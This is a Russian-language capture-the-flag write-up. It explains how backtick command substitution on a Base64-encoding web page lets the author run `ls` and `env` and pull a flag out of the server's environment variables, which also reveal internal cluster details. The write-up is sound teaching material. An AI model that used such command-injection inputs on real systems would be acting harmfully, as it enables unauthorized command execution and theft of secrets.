

BasicCMD

перед нами страница которая кодирует текст в Base64. пробуем разные инъекции, но она не позволяет спецсимволы и удаляет их: например ввод сразу нескольких ./<>!@#\$%^&*(дал нам только:

The screenshot shows a web page with a green header and a white content area. The title 'Encode data' is at the top. Below it is a text input field with placeholder text 'Enter single word without extra symbols:' and a value 'Lwo=' inside. A large green button labeled 'Submit' is below the input field.

(/ если декодировать)

давайте пробовать АБСОЛЮТНО все спецсимволы, потому что никакой другой рабочей страницы у нас нет:

`~!@#$%^&*(()_+-=[{}];'".,<>/?№§``

Encode data

Enter single word without extra symbols:

```
sh: 1: Syntax error: EOF in backquote substitution
```

Submit

интересная ошибка, да?

ошибка в знаке ` , потому что оказывается он разрешен

в консоли он используется для исполнения команд внутри другой.
например cat `ls` сначала получит все файлы в директории / а потом
прочитает их через cat (если же вы в /). и напрмиер если на сервере
происходит что то типа:

```
echo input | base64
```

то мы можем попробовать исполнить что то внутри `` через наш ввод и
получить результат исполнения в base64.

если подробнее то при попытке ввода `ls`:

- сервер согласно моим догадкам по структуре получает на исполнение:
`echo `ls` | base64`

- сначала он получает все файлы директории через `ls`
- печатает вывод ls кодируя в base64

давайте попробуем

Encode data

Enter single word without extra symbols:

aW5kZXgucGhwIHN0eWxILmNzcwo=

Submit

действительно, мы получили результат ls

```
[nikmin@host01 ~$ echo 'aW5kZXgucGhwIHN0eWx1LmNzcwo=' | base64 -d  
index.php style.css
```

так как в поле фильтруются почти все спецсимволы работать с директориями не получится, то есть особо ничего не сервере не сделаешь, давайте попробуем получить информацию о его окружении через `env`:

Encode data

Enter single word without extra symbols:

S1VCRVJORVRFU19TRVJWSUNFX1BPUIQ9NDQzIFBIUF9FWFRSQV9DT05GSUdVL

Submit

получаем гигантский ответ и при декодировании получем флаг в одной из переменной окружения (как ни странно - FLAG):

```
ZPTQWOWUXMWJJNMEYZE4NZASZGZJNDK1YZXYZgyMGRKZmQ4MWUXNZQ4MTQ3MGYZNDAY1ZWU30D1yZDgZNZK5MDMgQVBVQ0hFX0V0V  
LZBULM9L2V0Yy9hcGFjaGUyL2VudnZhcnMgRkxBRz1udG97YjQ1M182NF9jbWRfMW5qM2N0MTBuX200NXQzcnoV0VCX1NFU1ZJQ0V  
fSE9TVD0xMC40MC4xNjUu0DEK' | base64 -d  
KUBERNETES_SERVICE_PORT=443 PHP_EXTRA_CONFIGURE_ARGS=--with-apxs2 --disable-cgi KUBERNETES_PORT=tcp://  
10.40.128.1:443 APACHE_CONFDIR=/etc/apache2 HOSTNAME=web-6874ffb8b7-nwwtr PHP_INI_DIR=/usr/local/etc/p  
hp SHLVL=0 WEB_PORT=tcp://10.40.165.81:80 PHP_EXTRA_BUILD_DEPS=apache2-dev WEB_SERVICE_PORT=80 PHP_LDF  
LAGS=-Wl,-01 -pie WEB_SERVICE_PORT_80=80 APACHE_RUN_DIR=/var/run/apache2 PHP_CFLAGS=--fstack-protector-  
strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_VERSION=7.2.34 WEB_PORT_80_TCP_A  
DDR=10.40.165.81 APACHE_PID_FILE=/var/run/apache2/apache2.pid GPG_KEYS=1729F83938DA44E27BA0F4D3DBDB397  
470D12172 B1B44D8F021E4E2D6021E995DC9FFF8D3EE5AF27F WEB_PORT_80_TCP_PORT=80 PHP_ASC_URL=https://www.php  
.net/distributions/php-7.2.34.tar.xz.asc PHP_CPPFLAGS=--fstack-protector-strong -fpic -fpie -O2 -D_LARG  
EFILE_SOURCE -D_FILE_OFFSET_BITS=64 WEB_PORT_80_TCP_PROTO=tcp PHP_URL=https://www.php.net/distribution  
s/php-7.2.34.tar.xz KUBERNETES_PORT_443_TCP_ADDR=10.40.128.1 PATH=/usr/local/sbin:/usr/local/bin:/usr/  
sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 APACHE_LOCK_DIR=/var/lock/apache2 KUBERNETES  
_PORT_443_TCP_PROTO=tcp LANG=C WEB_PORT_80_TCP=tcp://10.40.165.81:80 APACHE_RUN_GROUP=www-data APACHE  
_RUN_USER=www-data APACHE_LOG_DIR=/var/log/apache2 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_44  
3_TCP=tcp://10.40.128.1:443 PWD=/var/www/html PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make  
pkg-config re2c KUBERNETES_SERVICE_HOST=10.40.128.1 PHP_SHA256=409e11bc6a2c18707dfc44bc61c820ddfd81e1  
7481470f3405ee7822d8379903 APACHE_ENVVARS=/etc/apache2/envvars FLAG=nto{b453_64_cmd_1nj3ct10n_m45t3r}  
WEB_SERVICE_HOST=10.40.165.81
```

задача решена)